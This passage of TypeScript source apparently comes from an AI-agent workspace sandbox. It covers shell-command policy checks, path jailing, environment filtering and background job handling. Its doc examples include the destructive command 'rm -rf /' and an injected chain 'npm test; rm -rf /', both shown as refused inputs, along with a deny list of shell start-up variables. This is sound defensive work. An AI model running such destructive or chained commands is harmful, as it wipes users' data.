\"||\" ? \", and if it fails, \" : \", then \";\n\n return new Refusal(\n \"metacharacter\",\n `${shownOperator} is not supported in argv mode: run ${steps.join(joiner)}, as separate commands.${suffix}`,\n );\n }\n\n if (token === \"&\" && segments.length >= 1) {\n const steps = segments.map((segment) => show(segment.source));\n const run =\n steps.length === 1\n ? `run ${steps[0] ?? \"\"} without it`\n : `run ${steps.join(\", then \")} as separate commands`;\n\n return new Refusal(\n \"metacharacter\",\n `\\`&\\` is not supported in argv mode: ${run}; start a long-running command with background: true.${suffix}`,\n );\n }\n\n if (token === \"|\") {\n const pipeline = command\n .split(\"|\")\n .map((part) => part.trim())\n .filter(Boolean);\n\n return new Refusal(\n \"metacharacter\",\n `\\`|\\` (a pipe) is not supported in argv mode: run ${show(pipeline[0] ?? command)} on its own and read its output yourself.${suffix}`,\n );\n }\n\n if (token === \">\" || token === \">>\" || token === \">&\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` (redirection) is not supported in argv mode: run the command without it and save the output with write_file if you need it.${suffix}`,\n );\n }\n\n if (token === \"<\" || token === \"<<\" || token === \"<&\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` (input redirection) is not supported in argv mode: pass the file path to the command as an argument.${suffix}`,\n );\n }\n\n if (token === \"$(\" || token === \"`\") {\n return new Refusal(\n \"metacharacter\",\n `Command substitution (${token === \"$(\" ? \"`$(…)`\" : \"backticks\"}) is not supported in argv mode: run the inner command first, then pass its output literally.${suffix}`,\n );\n }\n\n if (token === \"$\" || token === \"${\") {\n return new Refusal(\n \"metacharacter\",\n `\\`$\\` (variable expansion) is not supported in argv mode: write the value literally, or put the \\`$\\` inside quotes to pass it as text.${suffix}`,\n );\n }\n\n if (token === \"(\" || token === \")\") {\n return new Refusal(\n \"metacharacter\",\n `\\`${token}\\` is not supported in argv mode: put it inside quotes to pass it as text.${suffix}`,\n );\n }\n\n return new Refusal(\n \"metacharacter\",\n `\\`${token === \"\\n\" ? \"\\\\n\" : token}\\` is not supported in argv mode: run one command per call, and quote any argument that contains it.${suffix}`,\n );\n}\n\n/** Check a shell-mode (`interpreter: \"sh\"`) line. */\nfunction checkShellLine(\n checker: LineChecker,\n policy: WorkspacePolicy,\n command: string,\n dialect: ShellDialect,\n): void {\n if (/^[-+]/.test(command)) {\n throw new Refusal(\"unsupported-syntax\", \"A command line may not start with `-` or `+`.\");\n }\n\n const parsed = parseShellLine(command, dialect);\n\n if (!parsed.ok) {\n throw new Refusal(\n parsed.reason,\n `${parsed.message} The workspace shell policy only runs lines it can check.`,\n );\n }\n\n if (parsed.background) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`&` (run in the background) is not supported in a command line: start a long-running command with background: true instead.\",\n );\n }\n\n let cwds = [path.resolve(policy.cwd)];\n\n for (const simple of parsed.commands) {\n cwds = checkSimpleCommand(checker, simple, cwds, dialect);\n }\n}\n\n/** Check one parsed simple command; returns the possible working directories after it. */\nfunction checkSimpleCommand(\n checker: LineChecker,\n simple: ShellSimpleCommand,\n cwds: string[],\n dialect: ShellDialect,\n): string[] {\n for (const assignment of simple.assignments) {\n const name = assignment.assignmentName ?? \"\";\n\n if (SENSITIVE_VARIABLES.has(name) || name.startsWith(\"BASH_FUNC_\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `Assigning \\`${name}\\` is not supported: it changes how the shell runs the commands that follow.`,\n );\n }\n }\n\n for (const redirect of simple.redirects) {\n if (redirect.type === \"read\" || redirect.type === \"write\") {\n checker.checkRedirectTarget(redirect.target, redirect.type, cwds);\n }\n }\n\n const first = simple.words[0];\n\n if (first === undefined) {\n return cwds;\n }\n\n if (!first.dynamic && first.value.includes(\"=\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${first.raw}\\` is not a plain command name or \\`NAME=value\\` assignment.`,\n );\n }\n\n if (/^[-+]/.test(first.value)) {\n throw new Refusal(\"unsupported-syntax\", `\\`${first.raw}\\` is not a command name.`);\n }\n\n if (checker.hasArgumentHooks) {\n const dynamic = simple.words.find((word) => word.dynamic);\n\n if (dynamic !== undefined) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${dynamic.raw}\\` is decided when the line runs, so it cannot be checked against the workspace shell policy's command rules. Write the value literally (quote globs).`,\n );\n }\n }\n\n const executable = first.dynamic ? \"\" : executableBasename(first.value, dialect).toLowerCase();\n\n if (executable === \"cd\") {\n return checker.checkCd(simple.words, cwds);\n }\n\n if (dialect === \"posix\" && (executable === \"pushd\" || executable === \"popd\")) {\n throw new Refusal(\"unsupported-syntax\", `\\`${executable}\\` is not supported; use \\`cd\\`.`);\n }\n\n checker.checkArgv(\n simple.words.map((word) => (word.dynamic ? word.raw : word.value)),\n simple.words.map((word) => word.dynamic),\n 0,\n );\n\n return cwds;\n}\n\n/**\n * The shell policy's verdict on a command line, without touching the\n * filesystem.\n *\n * - **argv mode** (`interpreter: \"none\"`, the default): the line must\n * tokenize into one argv; otherwise it is refused with a\n * `\"metacharacter\"` / `\"unbalanced-quotes\"` reason and a message that\n * names the operator and suggests the split.\n * - **shell mode** (`interpreter: \"sh\"`): the line is parsed and every\n * simple command — inside `;`, `&&`, `||`, pipes, subshells, `$( )`,\n * backticks and here-documents — is checked; redirection targets and `cd`\n * directories must stay in the jail (checked lexically here; `exec`\n * re-checks them with symlinks resolved).\n *\n * Every argv goes through `deny` (case-insensitive, wins), `allow`\n * (exhaustive when non-empty), `denyPatterns` and `allowCommand`.\n * Wrappers (`env`, `time`, `timeout`, `nice`, `nohup`, `command`,\n * `builtin`, `exec`) and `find -exec` are followed to the command they run.\n * A runner the policy cannot see into (`bash -c`, `eval`, `xargs`, `sudo`,\n * …) is refused while the policy has deny rules, unless `allow` names it.\n *\n * @example\n * checkShellCommand({ cwd, shell: { allow: [\"git\"] } }, \"git add -A && git commit -m wip\");\n * // { allowed: false, reason: \"metacharacter\", message: \"`&&` is not supported in argv mode: run `git add -A`, then `git commit -m wip`, …\" }\n */\nexport function checkShellCommand(policy: WorkspacePolicy, command: string): WorkspaceShellCheck {\n return checkShellCommandInDialect(policy, command, shellDialect());\n}\n\n/**\n * {@link checkShellCommand} with the shell-mode dialect chosen explicitly\n * instead of from the platform (used to test the cmd.exe rules anywhere).\n * Argv mode ignores `dialect`.\n */\nexport function checkShellCommandInDialect(\n policy: WorkspacePolicy,\n command: string,\n dialect: ShellDialect,\n): WorkspaceShellCheck {\n const shell = policy.shell;\n\n if (!shell) {\n return {\n allowed: false,\n reason: \"not-allowed\",\n message: \"The workspace has no shell policy, so no command may run.\",\n commands: [],\n paths: [],\n };\n }\n\n const interpreter = shell.interpreter ?? \"none\";\n const checker = new LineChecker(policy, shell, command, interpreter === \"sh\" ? dialect : \"posix\");\n\n try {\n if (command.trim() === \"\") {\n throw new Refusal(\"not-allowed\", \"The command is empty.\");\n }\n\n if (interpreter === \"sh\") {\n checkShellLine(checker, policy, command, dialect);\n } else {\n const argv = tokenizeCommand(command);\n\n if (argv === null) {\n throw argvModeRefusal(command);\n }\n\n checker.checkArgv(\n argv,\n argv.map(() => false),\n 0,\n );\n }\n\n return { allowed: true, commands: checker.commands, paths: checker.paths };\n } catch (error) {\n if (!(error instanceof Refusal)) {\n throw error;\n }\n\n return {\n allowed: false,\n reason: error.reason,\n message: error.message,\n ...(error.executable !== undefined ? { executable: error.executable } : {}),\n ...(error.refusedPath !== undefined ? { path: error.refusedPath } : {}),\n commands: checker.commands,\n paths: checker.paths,\n };\n }\n}\n","import path from \"node:path\";\nimport { realpath } from \"node:fs/promises\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type { WorkspacePolicy } from \"../contracts\";\nimport { isInside, matchesAnyGlob } from \"./jail\";\nimport { checkShellCommand } from \"./shell-check\";\n\n/**\n * The outcome of resolving a workspace-relative (or absolute) input path\n * against the jail — the canonical absolute location the backend should\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\n * the agent and tool results echo back.\n */\nexport interface ResolvedPath {\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\n absolutePath: string;\n /**\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\n * used in tool results so the agent always sees stable workspace paths.\n * Empty string when the resolved path IS the jail root.\n */\n relativePath: string;\n}\n\n/**\n * Resolve the canonical absolute form of `target`, collapsing any\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\n * so we realpath the deepest **existing** ancestor and re-attach the\n * non-existent tail — a symlinked ancestor still cannot smuggle the\n * path out of the jail, while genuinely new leaves stay creatable.\n */\nasync function canonicalize(target: string): Promise<string> {\n let resolvedTarget = path.resolve(target);\n const tail: string[] = [];\n\n // Walk up until an existing ancestor is found (or we hit the root).\n // eslint-disable-next-line no-constant-condition\n while (true) {\n try {\n const real = await realpath(resolvedTarget);\n\n return tail.length > 0 ? path.join(real, ...tail) : real;\n } catch (error) {\n const code = (error as NodeJS.ErrnoException).code;\n\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\n if (code !== \"ENOENT\") {\n throw error;\n }\n\n const parent = path.dirname(resolvedTarget);\n\n // Reached the filesystem root without finding an existing\n // ancestor — give back the lexically-resolved path unchanged.\n if (parent === resolvedTarget) {\n return path.join(resolvedTarget, ...tail);\n }\n\n tail.unshift(path.basename(resolvedTarget));\n resolvedTarget = parent;\n }\n }\n}\n\n/**\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\n *\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\n * existing ancestors collapsed so a symlinked directory cannot escape\n * the jail), then accepted **only** when it sits under `cwd` or one of\n * the `allowPaths` roots. A path that escapes, or that matches any\n * `denyPaths` glob even while inside `cwd`, is rejected with a\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\n *\n * Why this does not use `@warlock.js/fs`'s confined reader (`fs.confined`):\n * the two answer different questions. The confined reader refuses absolute\n * paths, refuses every symbolic link (or follows only links inside its one\n * root), requires the path to exist, and reads the file itself through a\n * no-follow, identity-checked open. This jail must instead accept absolute\n * paths inside `cwd`, several `allowPaths` roots, `denyPaths` globs, a\n * symlinked `cwd`, links whose target stays inside, and paths that do not\n * exist yet (`writeFile`, `mkdir`), and it returns a path that writes,\n * `exec`'s working directory and redirections use afterwards. Switching would\n * change what agents may touch, so the workspace keeps this resolver.\n *\n * @param policy - The bounding policy (its `cwd` is the jail root).\n * @param inputPath - A workspace-relative or absolute path to resolve.\n * @returns The canonical absolute path plus its `/`-separated relative form.\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\n *\n * @example\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\n */\nexport async function resolveInJail(\n policy: WorkspacePolicy,\n inputPath: string,\n): Promise<ResolvedPath> {\n const jailRoot = await canonicalize(policy.cwd);\n const requested = path.isAbsolute(inputPath) ? inputPath : path.join(policy.cwd, inputPath);\n const absolutePath = await canonicalize(requested);\n\n const insideCwd = isInside(absolutePath, jailRoot);\n const allowRoots = policy.allowPaths ?? [];\n let insideAllow = false;\n\n if (!insideCwd) {\n for (const root of allowRoots) {\n const canonicalRoot = await canonicalize(root);\n\n if (isInside(absolutePath, canonicalRoot)) {\n insideAllow = true;\n\n break;\n }\n }\n }\n\n if (!insideCwd && !insideAllow) {\n throw new WorkspacePolicyError(`Path \"${inputPath}\" resolves outside the workspace jail.`, {\n type: \"path-escape\",\n path: inputPath,\n });\n }\n\n // `denyPaths` is evaluated relative to the jail root and wins even\n // when the path is comfortably inside `cwd`.\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\n : \"\";\n\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\n if (matchesAnyGlob(relativeToJail, policy.denyPaths)) {\n throw new WorkspacePolicyError(`Path \"${inputPath}\" is blocked by the workspace deny list.`, {\n type: \"path-escape\",\n path: inputPath,\n });\n }\n }\n\n return { absolutePath, relativePath: relativeToJail };\n}\n\n/**\n * Whether a command line is permitted by the policy's `shell` sub-policy —\n * `checkShellCommand(policy, command).allowed`.\n *\n * In argv mode (the default) the command must tokenize into a single argv\n * (no unquoted `;`, `&&`, `|`, backticks, `$`, redirection, …): the backend\n * spawns it with no shell, and unquoted metacharacters were exactly how an\n * injected command chain used to ride past the allowlist. In shell mode\n * (`interpreter: \"sh\"`) every simple command in the line is checked. Each\n * argv's executable basename is matched against `shell.deny` (wins, case\n * insensitive) then `shell.allow` (exhaustive when non-empty), then\n * `shell.denyPatterns` and `shell.allowCommand`. An absent `shell` block\n * means no command may run at all.\n *\n * Returns a plain `boolean`; use {@link checkShellCommand} for the reason\n * and the model-facing message. Redirection targets are checked lexically\n * here; `exec` re-checks them with symlinks resolved.\n *\n * @example\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\n */\nexport function isCommandAllowed(policy: WorkspacePolicy, command: string): boolean {\n return checkShellCommand(policy, command).allowed;\n}\n\n/**\n * Build the exact environment a spawned process receives — `process.env`\n * is **never** inherited wholesale. The result is\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\n * values override inherited ones on key collision.\n *\n * @example\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\n * // → { PATH: <process PATH>, CI: \"1\" }\n */\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\n const shell = policy.shell;\n const env: Record<string, string> = {};\n\n if (!shell) {\n return env;\n }\n\n for (const key of shell.inheritEnv ?? []) {\n const value = process.env[key];\n\n if (value !== undefined) {\n env[key] = value;\n }\n }\n\n if (shell.env) {\n for (const [key, value] of Object.entries(shell.env)) {\n env[key] = value;\n }\n }\n\n return env;\n}\n\n/**\n * Variables removed from the environment of a shell-mode (`interpreter:\n * \"sh\"`) command: each changes how the shell itself starts, parses or\n * resolves the line (`ENV`/`BASH_ENV` run a startup file, `SHELLOPTS` +\n * `PS4` can run command substitutions, `BASH_FUNC_*` imports functions that\n * shadow commands, `CDPATH` moves `cd`, `IFS` re-splits words).\n */\nconst SHELL_STARTUP_VARIABLES = new Set([\n \"ENV\",\n \"BASH_ENV\",\n \"SHELLOPTS\",\n \"BASHOPTS\",\n \"CDPATH\",\n \"IFS\",\n \"PS4\",\n \"GLOBIGNORE\",\n]);\n\n/**\n * The environment a command actually receives: {@link buildEnv}, minus the\n * shell start-up variables when the policy runs lines through a shell.\n * Compared case-insensitively, because Windows environment names are.\n */\nexport function buildCommandEnv(policy: WorkspacePolicy): Record<string, string> {\n const env = buildEnv(policy);\n\n if ((policy.shell?.interpreter ?? \"none\") !== \"sh\") {\n return env;\n }\n\n for (const key of Object.keys(env)) {\n const upper = key.toUpperCase();\n\n if (SHELL_STARTUP_VARIABLES.has(upper) || upper.startsWith(\"BASH_FUNC_\")) {\n delete env[key];\n }\n }\n\n return env;\n}\n","import { WorkspaceJobError, WorkspacePolicyError } from \"./errors\";\nimport type {\n ShellJobInfo,\n ShellJobStatus,\n ShellOutputOptions,\n ShellOutputResult,\n WorkspaceBackendProcess,\n WorkspaceOutputStream,\n} from \"./contracts\";\n\n/** Default most background commands running at once. */\nexport const DEFAULT_MAX_BACKGROUND_JOBS = 4;\n\n/** Finished commands kept for a last `shell_output` read before the oldest are pruned. */\nconst MAX_FINISHED_JOBS = 16;\n\n/** Longest `waitMs` a `shellOutput` call may ask for. */\nexport const MAX_OUTPUT_WAIT_MS = 30_000;\n\n/** How long `kill()` / `dispose()` wait for a killed tree to report its exit. */\nconst KILL_SETTLE_MS = 5_000;\n\n/** One retained piece of output. */\ninterface OutputChunk {\n stream: WorkspaceOutputStream;\n text: string;\n /** Cumulative byte offset of the chunk's first byte. */\n offset: number;\n bytes: number;\n}\n\n/** What {@link ShellJobs.start} needs to launch one command. */\nexport interface ShellJobSpec {\n /** The command line (already policy-checked). */\n command: string;\n /** Most bytes of output to keep (newest wins). */\n retainBytes: number;\n /** Most commands running at once. */\n maxJobs: number;\n /** Wall-clock cap, if any. */\n timeoutMs?: number;\n /** Start the process; output must be delivered through `onOutput`. */\n launch(onOutput: (stream: WorkspaceOutputStream, chunk: string) => void): WorkspaceBackendProcess;\n}\n\n/** Resolve after `ms`, without keeping the event loop alive. */\nfunction delay(ms: number): Promise<void> {\n return new Promise((resolve) => {\n const timer = setTimeout(resolve, ms);\n\n timer.unref?.();\n });\n}\n\n/**\n * Keep the last `maxBytes` UTF-8 bytes of `text`, cutting forward to a\n * character boundary so the kept tail never starts mid-character.\n */\nfunction tailUtf8(text: string, maxBytes: number): { text: string; bytes: number } {\n const buffer = Buffer.from(text, \"utf8\");\n\n if (buffer.byteLength <= maxBytes) {\n return { text, bytes: buffer.byteLength };\n }\n\n let start = buffer.byteLength - maxBytes;\n\n while (start < buffer.byteLength && ((buffer[start] ?? 0) & 0xc0) === 0x80) {\n start++;\n }\n\n const kept = buffer.subarray(start);\n\n return { text: kept.toString(\"utf8\"), bytes: kept.byteLength };\n}\n\n/** Bytes of `text` from byte `skip` on, moved forward to a character boundary. */\nfunction skipUtf8(text: string, skip: number): string {\n const buffer = Buffer.from(text, \"utf8\");\n let start = Math.max(0, skip);\n\n while (start < buffer.byteLength && ((buffer[start] ?? 0) & 0xc0) === 0x80) {\n start++;\n }\n\n return buffer.subarray(start).toString(\"utf8\");\n}\n\n/** One background command and its retained output. */\nclass ShellJob {\n public status: ShellJobStatus = \"running\";\n\n public exitCode: number | null = null;\n\n public endedAt?: string;\n\n public readonly startedAt = new Date().toISOString();\n\n /** Total bytes produced so far (both streams). */\n public produced = 0;\n\n /** Where the next default read starts. */\n public readCursor = 0;\n\n /** Retained output, oldest first. */\n private readonly chunks: OutputChunk[] = [];\n\n private retained = 0;\n\n private readonly listeners = new Set<() => void>();\n\n public process?: WorkspaceBackendProcess;\n\n public killRequested = false;\n\n public timedOut = false;\n\n public timer?: ReturnType<typeof setTimeout>;\n\n public constructor(\n public readonly id: string,\n public readonly command: string,\n private readonly retainBytes: number,\n ) {}\n\n public append(stream: WorkspaceOutputStream, chunk: string): void {\n if (chunk === \"\") {\n return;\n }\n\n const bytes = Buffer.byteLength(chunk, \"utf8\");\n\n this.chunks.push({ stream, text: chunk, offset: this.produced, bytes });\n this.produced += bytes;\n this.retained += bytes;\n this.trim();\n this.notify();\n }\n\n /** Drop the oldest output until at most `retainBytes` are kept. */\n private trim(): void {\n while (this.retained > this.retainBytes && this.chunks.length > 0) {\n const oldest = this.chunks[0];\n\n if (oldest === undefined) {\n return;\n }\n\n const excess = this.retained - this.retainBytes;\n\n if (oldest.bytes <= excess) {\n this.chunks.shift();\n this.retained -= oldest.bytes;\n\n continue;\n }\n\n const kept = tailUtf8(oldest.text, oldest.bytes - excess);\n\n this.retained -= oldest.bytes - kept.bytes;\n oldest.offset += oldest.bytes - kept.bytes;\n oldest.text = kept.text;\n oldest.bytes = kept.bytes;\n }\n }\n\n public finish(exitCode: number): void {\n if (this.status !== \"running\") {\n return;\n }\n\n this.exitCode = exitCode;\n this.status = this.timedOut ? \"timed-out\" : this.killRequested ? \"killed\" : \"exited\";\n this.endedAt = new Date().toISOString();\n\n if (this.timer !== undefined) {\n clearTimeout(this.timer);\n }\n\n this.notify();\n }\n\n private notify(): void {\n for (const listener of [...this.listeners]) {\n listener();\n }\n }\n\n /** Resolve on the next output or state change (or after `ms`, or on abort). */\n public waitForChange(ms: number, signal?: AbortSignal): Promise<void> {\n return new Promise((resolve) => {\n if (signal?.aborted) {\n resolve();\n\n return;\n }\n\n let timer: ReturnType<typeof setTimeout> | undefined;\n\n const done = (): void => {\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n this.listeners.delete(done);\n signal?.removeEventListener(\"abort\", done);\n resolve();\n };\n\n timer = setTimeout(done, ms);\n timer.unref?.();\n this.listeners.add(done);\n signal?.addEventListener(\"abort\", done, { once: true });\n });\n }\n\n public info(): ShellJobInfo {\n return {\n id: this.id,\n command: this.command,\n status: this.status,\n exitCode: this.exitCode,\n ...(this.process?.pid !== undefined ? { pid: this.process.pid } : {}),\n startedAt: this.startedAt,\n ...(this.endedAt !== undefined ? { endedAt: this.endedAt } : {}),\n };\n }\n\n /** Output produced after byte `since`, plus how much of it is gone. */\n public read(since: number): ShellOutputResult {\n const from = Math.min(Math.max(0, Math.floor(since)), this.produced);\n const firstRetained = this.chunks[0]?.offset ?? this.produced;\n const droppedBytes = Math.max(0, firstRetained - from);\n let stdout = \"\";\n let stderr = \"\";\n\n for (const chunk of this.chunks) {\n const end = chunk.offset + chunk.bytes;\n\n if (end <= from) {\n continue;\n }\n\n const text = chunk.offset >= from ? chunk.text : skipUtf8(chunk.text, from - chunk.offset);\n\n if (chunk.stream === \"stdout\") {\n stdout += text;\n } else {\n stderr += text;\n }\n }\n\n this.readCursor = this.produced;\n\n return {\n ...this.info(),\n stdout,\n stderr,\n cursor: this.produced,\n droppedBytes,\n truncated: droppedBytes > 0,\n };\n }\n}\n\n/**\n * The background commands one workspace owns. Shared by every projection\n * (`readonly()`, `scope()`) of the workspace, so `dispose()` on any of them\n * stops them all.\n */\nexport class ShellJobs {\n private readonly jobs = new Map<string, ShellJob>();\n\n private nextId = 1;\n\n private disposed = false;\n\n /** Whether {@link dispose} has run. */\n public get isDisposed(): boolean {\n return this.disposed;\n }\n\n /** Start a command as a background job. */\n public start(spec: ShellJobSpec): ShellJobInfo {\n if (this.disposed) {\n throw new WorkspacePolicyError(\n \"The workspace has been disposed; it cannot start new commands.\",\n { type: \"denied-command\", reason: \"not-allowed\", command: spec.command },\n );\n }\n\n const running = [...this.jobs.values()].filter((job) => job.status === \"running\").length;\n\n if (running >= spec.maxJobs) {\n throw new WorkspacePolicyError(\n `${running} background commands are already running (the limit is ${spec.maxJobs}). Stop one with shell_kill first.`,\n { type: \"denied-command\", reason: \"not-allowed\", command: spec.command },\n );\n }\n\n const job = new ShellJob(`job-${this.nextId++}`, spec.command, spec.retainBytes);\n\n this.jobs.set(job.id, job);\n\n const handle = spec.launch((stream, chunk) => job.append(stream, chunk));\n\n job.process = handle;\n\n if (spec.timeoutMs !== undefined && spec.timeoutMs > 0) {\n job.timer = setTimeout(() => {\n if (job.status === \"running\") {\n job.timedOut = true;\n handle.kill();\n }\n }, spec.timeoutMs);\n job.timer.unref?.();\n }\n\n void handle.done.then(({ exitCode }) => job.finish(exitCode));\n this.prune();\n\n return job.info();\n }\n\n /** Forget the oldest finished jobs beyond {@link MAX_FINISHED_JOBS}. */\n private prune(): void {\n const finished = [...this.jobs.values()].filter((job) => job.status !== \"running\");\n\n for (const job of finished.slice(0, Math.max(0, finished.length - MAX_FINISHED_JOBS))) {\n this.jobs.delete(job.id);\n }\n }\n\n private get(id: string): ShellJob {\n const job = this.jobs.get(id);\n\n if (job === undefined) {\n throw new WorkspaceJobError(\n `No background command with id \"${id}\" exists in this workspace.`,\n {\n type: \"not-found\",\n jobId: id,\n },\n );\n }\n\n return job;\n }\n\n /** New output of a job (see {@link ShellOutputOptions}). */\n public async output(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n const job = this.get(id);\n const since = opts?.since ?? job.readCursor;\n const waitMs = Math.min(Math.max(0, opts?.waitMs ?? 0), MAX_OUTPUT_WAIT_MS);\n\n if (waitMs > 0 && job.status === \"running\" && job.produced <= since) {\n await job.waitForChange(waitMs, opts?.signal);\n }\n\n return job.read(since);\n }\n\n /** Kill a job's process tree and wait (bounded) for it to stop. */\n public async kill(id: string): Promise<ShellJobInfo> {\n const job = this.get(id);\n\n await this.stop(job);\n\n return job.info();\n }\n\n private async stop(job: ShellJob): Promise<void> {\n if (job.status !== \"running\" || job.process === undefined) {\n return;\n }\n\n job.killRequested = true;\n job.process.kill();\n await Promise.race([job.process.done, delay(KILL_SETTLE_MS)]);\n }\n\n /** Every job, oldest first. */\n public list(): ShellJobInfo[] {\n return [...this.jobs.values()].map((job) => job.info());\n }\n\n /** Kill every running job and refuse new ones. Idempotent. */\n public async dispose(): Promise<void> {\n this.disposed = true;\n await Promise.all([...this.jobs.values()].map((job) => this.stop(job)));\n }\n}\n","import path from \"node:path\";\nimport { fs } from \"@warlock.js/fs\";\nimport { WorkspaceEditError, WorkspacePolicyError } from \"./errors\";\nimport { globToRegExp, isInside, matchesAnyGlob } from \"./policy/jail\";\nimport { buildCommandEnv, resolveInJail } from \"./policy/policy\";\nimport { checkShellCommand } from \"./policy/shell-check\";\nimport { DEFAULT_MAX_BACKGROUND_JOBS, ShellJobs } from \"./shell-jobs\";\nimport type {\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepMatch,\n GrepResult,\n ListDirEntry,\n ListDirEntryType,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditOperation,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n WorkspaceBackend,\n WorkspaceOps,\n WorkspacePolicy,\n} from \"./contracts\";\n\n/** Default line window a read returns when the policy sets no `defaultLines`. */\nconst DEFAULT_READ_LINES = 2000;\n/** Hard ceiling on grep matches returned, so a broad pattern can't flood. */\nconst DEFAULT_MAX_GREP_MATCHES = 1000;\n/** Default per-command output byte cap when the policy sets none. */\nconst DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;\n/** Default `list.ignore` when the policy sets none. */\nconst DEFAULT_LIST_IGNORE: readonly string[] = [\"node_modules\", \".git\"];\n/** Default deepest `depth` a listing may ask for. */\nconst DEFAULT_LIST_MAX_DEPTH = 5;\n/** Default most entries one listing returns. */\nconst DEFAULT_LIST_MAX_ENTRIES = 500;\n/** Most edits one `multiEdit` call may carry. */\nexport const MAX_MULTI_EDITS = 100;\n/**\n * Exit code reported for a command refused because its signal was already\n * aborted (the shell convention for an interrupted command). Callers should\n * branch on `cancelled`, not on this number.\n */\nconst CANCELLED_BEFORE_START_EXIT_CODE = 130;\n/**\n * Hard ceiling on `grep` pattern length. A model-controlled regex has no\n * legitimate reason to be this long; longer patterns are rejected outright\n * rather than compiled.\n */\nconst MAX_GREP_PATTERN_LENGTH = 200;\n/**\n * Hard ceiling on the number of characters of a single line handed to\n * `RegExp#test` during a `grep`. Catastrophic backtracking is exponential\n * in input length, so bounding the input scanned per call bounds the\n * worst-case time a single pathological line can cost — lines longer than\n * this are skipped rather than scanned.\n */\nconst MAX_GREP_LINE_SCAN_LENGTH = 2000;\n\n/** The `cat -n` prefix for a line: right-aligned number (min width 6) and a tab. */\nfunction linePrefix(lineNumber: number): string {\n return `${String(lineNumber).padStart(6, \" \")}\\t`;\n}\n\n/**\n * Clip `value` to at most `maxBytes` UTF-8 bytes without splitting a\n * character: the cut backs off over continuation bytes (`10xxxxxx`) to the\n * start of the character it would have split, so the result never carries\n * a replacement character.\n */\nfunction clipUtf8(value: string, maxBytes: number): { value: string; truncated: boolean } {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return { value, truncated: false };\n }\n\n let cut = Math.max(0, maxBytes);\n\n while (cut > 0 && ((bytes[cut] ?? 0) & 0xc0) === 0x80) {\n cut--;\n }\n\n return { value: bytes.subarray(0, cut).toString(\"utf8\"), truncated: true };\n}\n\n/**\n * Number a window of lines `cat -n` style, keeping the joined output within\n * `maxBytes` UTF-8 bytes (prefixes and newlines included) when a cap is set.\n * A line that does not fit whole is clipped on a character boundary; it is\n * still counted as returned when its prefix and at least one character fit.\n */\nfunction numberWindow(\n lines: string[],\n startLine: number,\n maxBytes: number | undefined,\n): { content: string; returnedLines: number; bytesCapped: boolean } {\n const parts: string[] = [];\n let used = 0;\n\n for (let index = 0; index < lines.length; index++) {\n const prefix = linePrefix(startLine + index);\n const numbered = prefix + lines[index];\n const separator = parts.length > 0 ? 1 : 0;\n\n if (maxBytes === undefined) {\n parts.push(numbered);\n\n continue;\n }\n\n const cost = separator + Buffer.byteLength(numbered, \"utf8\");\n\n if (used + cost <= maxBytes) {\n parts.push(numbered);\n used += cost;\n\n continue;\n }\n\n const room = maxBytes - used - separator - Buffer.byteLength(prefix, \"utf8\");\n const clipped = room > 0 ? clipUtf8(lines[index] ?? \"\", room).value : \"\";\n\n if (clipped.length > 0) {\n parts.push(prefix + clipped);\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: true };\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: false };\n}\n\n/**\n * Clip a captured stream at `maxBytes` (measured in UTF-8 bytes), on a\n * character boundary. Returns the possibly-clipped string plus whether\n * clipping occurred.\n */\nfunction capOutput(value: string, maxBytes: number): { value: string; truncated: boolean } {\n return clipUtf8(value, maxBytes);\n}\n\n/**\n * A quantifier: `+`, `*`, `?`, or a `{m,n}` bound.\n */\nconst QUANTIFIER_SOURCE = String.raw`[+*?]|\\{\\d*,?\\d*\\}`;\n\n/**\n * Heuristic catastrophic-backtracking detector: flags a quantified group\n * that itself contains a quantifier (e.g. `(a+)+`, `(a*)*`, `(.+)*`) —\n * the classic exponential-blowup shape. Not a full regex-safety analyzer\n * (it won't catch every ReDoS shape, e.g. quantified alternation like\n * `(a|a)+`), but it rejects the shape an agent is most likely to emit,\n * intentionally or via prompt injection.\n */\nconst NESTED_QUANTIFIER_PATTERN = new RegExp(\n 